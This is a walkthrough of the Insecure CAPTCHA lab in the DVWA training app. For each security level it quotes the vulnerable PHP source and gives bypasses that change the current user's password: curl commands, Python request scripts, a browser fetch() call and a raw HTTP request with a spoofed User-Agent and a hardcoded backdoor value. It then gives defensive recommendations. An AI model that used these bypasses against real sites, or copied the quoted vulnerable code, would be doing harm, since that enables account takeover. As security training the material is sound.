Overview
A CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) is designed to distinguish between human users and automated bots. CAPTCHAs typically show distorted text that humans can read but automated programs struggle with. CAPTCHAs are commonly used to protect:- User registration
- Password changes
- Form submissions
- Comment posting
- Sensitive operations
Objective
Change the current user’s password in an automated manner by exploiting poor CAPTCHA implementation.Vulnerability Analysis by Security Level
Low Security
Vulnerability: Two-step process without state validation Source Code (/vulnerabilities/captcha/source/low.php:1-75):
Step 1: CAPTCHA Validation
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
```sql
**Step 2: Password Update**
```php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
}
- Step 2 never validates that user completed Step 1
- No session variable tracking CAPTCHA completion
- Attacker can skip directly to Step 2
-
Analyze the two-step process:
- Step 1: Validate CAPTCHA, display confirmation form
- Step 2: Update password (no CAPTCHA check)
- Direct Step 2 attack:
curl -X POST \
-d "step=2&password_new=hacked123&password_conf=hacked123&Change=Change" \
-b "PHPSESSID=abc123; security=low" \
http://dvwa.local/vulnerabilities/captcha/
```python
3. **Automated brute-force script**:
```python
import requests
url = 'http://dvwa.local/vulnerabilities/captcha/'
cookies = {'PHPSESSID': 'your_session', 'security': 'low'}
passwords = ['password123', 'admin123', 'test123']
for password in passwords:
data = {
'step': '2',
'password_new': password,
'password_conf': password,
'Change': 'Change'
}
response = requests.post(url, data=data, cookies=cookies)
if 'Password Changed' in response.text:
print(f'Success! Password changed to: {password}')
break
http://dvwa.local/vulnerabilities/captcha/?step=2&password_new=pwned&password_conf=pwned&Change=Change
Medium Security
Mitigation Attempt: Client-side state tracking with hidden form field Source Code (/vulnerabilities/captcha/source/medium.php:1-83):
Step 1 adds passed_captcha field:
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
```sql
**Step 2 validates the field**:
```php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// [... password update code ...]
}
}
- Validates
$_POST['passed_captcha']which is client-controlled - Attacker can simply add this parameter to bypass
curl -X POST \
-d "step=2&password_new=pwned&password_conf=pwned&passed_captcha=true&Change=Change" \
-b "PHPSESSID=abc123; security=medium" \
http://dvwa.local/vulnerabilities/captcha/
```python
**Python automation**:
```python
import requests
url = 'http://dvwa.local/vulnerabilities/captcha/'
cookies = {'PHPSESSID': 'session_id', 'security': 'medium'}
data = {
'step': '2',
'password_new': 'hacked',
'password_conf': 'hacked',
'passed_captcha': 'true', # Simply add this parameter
'Change': 'Change'
}
response = requests.post(url, data=data, cookies=cookies)
if 'Password Changed' in response.text:
print('CAPTCHA bypassed successfully!')
- Open browser developer tools (F12)
- Navigate to Console tab
- Execute:
fetch('/vulnerabilities/captcha/', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'step=2&password_new=test&password_conf=test&passed_captcha=true&Change=Change',
credentials: 'include'
})
.then(r => r.text())
.then(console.log);
```sql
### High Security
**Mitigation Attempt**: Single-step process with backdoor for "testing"
**Source Code** (`/vulnerabilities/captcha/source/high.php:1-55`):
```php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
$html .= "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
}
// Generate Anti-CSRF token
generateSessionToken();
if (
$resp || // Normal CAPTCHA validation
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' // Hardcoded bypass!
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' // Spoofable header!
)
)
```text
**Bypass Method**:
```bash
curl -X POST \
-H "User-Agent: reCAPTCHA" \
-d "password_new=bypassed&password_conf=bypassed&g-recaptcha-response=hidd3n_valu3&Change=Change" \
-b "PHPSESSID=abc123; security=high" \
http://dvwa.local/vulnerabilities/captcha/
import requests
url = 'http://dvwa.local/vulnerabilities/captcha/'
cookies = {'PHPSESSID': 'session_id', 'security': 'high'}
headers = {'User-Agent': 'reCAPTCHA'} # Spoof User-Agent
data = {
'password_new': 'hacked',
'password_conf': 'hacked',
'g-recaptcha-response': 'hidd3n_valu3', # Magic value
'Change': 'Change'
}
response = requests.post(url, data=data, headers=headers, cookies=cookies)
if 'Password Changed' in response.text:
print('Bypassed using development backdoor!')
```http
**Burp Suite method**:
1. Intercept password change request
2. Modify headers:
```http
POST /vulnerabilities/captcha/ HTTP/1.1
Host: dvwa.local
User-Agent: reCAPTCHA
Content-Type: application/x-www-form-urlencoded
password_new=test&password_conf=test&g-recaptcha-response=hidd3n_valu3&Change=Change
Impossible Security
Proper Implementation Source Code (/vulnerabilities/captcha/source/impossible.php:1-67):
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
$html .= "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
$html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
```bash
**Defense Mechanisms**:
1. **Single-step process**: No state management complexity
2. **CAPTCHA validation**: Proper reCAPTCHA verification
3. **Anti-CSRF token**: Prevents automated attacks
4. **Current password required**: Additional authentication factor
5. **No backdoors**: No development code in production
6. **Prepared statements**: SQL injection protection
7. **Input sanitization**: Strips slashes, escapes input
**Why It's Secure**:
- All validation happens in one atomic operation
- No client-side state to manipulate
- Even with CAPTCHA bypass, attacker needs current password
- CSRF token prevents automation
- No hardcoded bypass values
## Defense Recommendations
### 1. Single-Step Atomic Operations
```php
// BAD: Multi-step with client-side state
if ($_POST['step'] == 1) {
if (validateCaptcha()) {
echo '<input type="hidden" name="passed" value="true" />';
}
}
if ($_POST['step'] == 2 && $_POST['passed']) {
performAction();
}
// GOOD: Single step with server-side validation
if (isset($_POST['submit'])) {
if (validateCaptcha() && validateCSRF()) {
performAction();
}
}
2. Server-Side State Management
// Store CAPTCHA success in session
if (validateCaptcha($_POST['captcha'])) {
$_SESSION['captcha_passed'] = true;
$_SESSION['captcha_time'] = time();
}
// Validate from session, not client input
if ($_SESSION['captcha_passed'] && (time() - $_SESSION['captcha_time'] < 300)) {
performAction();
unset($_SESSION['captcha_passed']); // One-time use
}
```bash
### 3. Proper reCAPTCHA Implementation
```php
function verifyRecaptcha($response) {
$secret = 'your_secret_key';
$verify = file_get_contents(
"https://www.google.com/recaptcha/api/siteverify?secret={$secret}&response={$response}"
);
$captcha_success = json_decode($verify);
return $captcha_success->success === true;
}
if (isset($_POST['g-recaptcha-response'])) {
if (!verifyRecaptcha($_POST['g-recaptcha-response'])) {
die('CAPTCHA validation failed');
}
}
4. No Development Code in Production
// NEVER do this:
if ($captcha_valid || $_POST['bypass'] == 'dev_mode') {
allowAccess();
}
// Use environment detection:
if (ENVIRONMENT == 'development') {
// Development-only features
} else {
// Production security
}
```bash
### 5. Rate Limiting
```php
session_start();
if (!isset($_SESSION['attempts'])) {
$_SESSION['attempts'] = 0;
$_SESSION['last_attempt'] = time();
}
// Reset after 15 minutes
if (time() - $_SESSION['last_attempt'] > 900) {
$_SESSION['attempts'] = 0;
}
$_SESSION['attempts']++;
$_SESSION['last_attempt'] = time();
if ($_SESSION['attempts'] > 5) {
die('Too many attempts. Please wait 15 minutes.');
}
6. Complete Secure Implementation
session_start();
function processPasswordChange() {
// Validate CSRF token
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
return ['error' => 'Invalid CSRF token'];
}
// Validate reCAPTCHA
if (!verifyRecaptcha($_POST['g-recaptcha-response'])) {
return ['error' => 'CAPTCHA validation failed'];
}
// Validate current password (additional security)
if (!password_verify($_POST['current_password'], getCurrentPasswordHash())) {
return ['error' => 'Current password incorrect'];
}
// Validate new passwords match
if ($_POST['new_password'] !== $_POST['confirm_password']) {
return ['error' => 'Passwords do not match'];
}
// Update password
$hash = password_hash($_POST['new_password'], PASSWORD_ARGON2ID);
updatePassword($hash);
// Invalidate session (force re-login)
session_destroy();
return ['success' => true];
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$result = processPasswordChange();
if (isset($result['error'])) {
echo $result['error'];
} else {
echo 'Password changed successfully. Please log in again.';
}
}
// Generate new CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
```bash
## Common CAPTCHA Implementation Mistakes
### 1. Client-Side Validation Only
```javascript
// NEVER rely on JavaScript validation
if (grecaptcha.getResponse() !== '') {
document.getElementById('form').submit();
}
2. Reusable CAPTCHA Tokens
// BAD: Token can be reused
if (validateCaptcha($token)) {
processForm();
}
// GOOD: One-time use
if (validateCaptcha($token)) {
invalidateCaptchaToken($token);
processForm();
}
```bash
### 3. Trusting Client State
```php
// BAD
if ($_POST['captcha_solved'] == 'true') {
processForm();
}
// GOOD
if ($_SESSION['captcha_verified'] === true) {
processForm();
unset($_SESSION['captcha_verified']);
}
Key Takeaways
- Never trust client input: All CAPTCHA state must be server-side
- Single-step operations: Avoid multi-step processes with client state
- No backdoors: Remove all development/testing code from production
- Combine protections: CAPTCHA + CSRF + re-authentication
- One-time validation: CAPTCHA success should be single-use
- Rate limiting: Prevent brute-force even if CAPTCHA bypassed
- Server-side verification: Always validate CAPTCHA server-to-server
